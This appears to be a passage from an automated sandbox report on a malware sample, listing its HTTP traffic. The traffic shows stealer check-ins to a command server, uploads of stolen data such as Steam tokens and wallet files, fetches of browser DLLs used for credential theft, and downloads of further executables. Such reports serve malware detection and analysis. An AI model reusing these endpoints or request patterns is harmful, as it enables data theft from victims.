2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 2d 2d 0d 0a Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file"------EHJKJDGCGDAKFHIDBGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIDBGDAFHJDHIDGDGIIHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file"------EBGIDGCAFCBKECAAKJJK--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGDBAFHJJDAKEBGCFCBHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 2d 2d 0d 0a Data Ascii: ------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="message"wallets------IEHDBAAFIDGDAAAAAAAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 2d 2d 0d 0a Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="message"files------AECAKECAEGDHIECBGHII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJDBGDGCGDAKFIDGIDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 2d 2d 0d 0a Data Ascii: ------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIJDBGDGCGDAKFIDGIDBContent-Disposition: form-data; name="file"------IIJDBGDGCGDAKFIDGIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="message"ybncbhylepme------KEGCBFCBFBKFHIECAFCF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 36 32 35 33 65 30 30 35 61 36 37 35 32 32 32 31 34 32 66 65 33 31 66 62 64 39 36 37 36 64 32 34 32 30 35 39 32 33 35 30 34 32 38 34 38 30 38 35 32 37 64 33 63 62 30 31 61 65 65 34 39 34 32 64 38 36 61 37 63 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"546253e005a675222142fe31fbd9676d24205923504284808527d3cb01aee4942d86a7ca------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIDBKKKKKFBGDGDHIDBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 37 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005725001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 09:17:23 GMTIf-None-Match: "67331d23-1bf000"
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 31 36 30 30 31 39 37 36 43 32 32 33 31 32 30 32 37 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="hwid"5F16001976C22312027626------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="build"mars------FHIDAKFIJJKJJJKEBKJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 37 32 36 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005726031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 37 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005727001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEBKKEGDBFIIEBFHIEHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 31 36 30 30 31 39 37 36 43 32 32 33 31 32 30 32 37 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 2d 2d 0d 0a Data Ascii: ------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="hwid"5F16001976C22312027626------IJEBKKEGDBFIIEBFHIEHContent-Disposition: form-data; name="build"mars------IJEBKKEGDBFIIEBFHIEH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
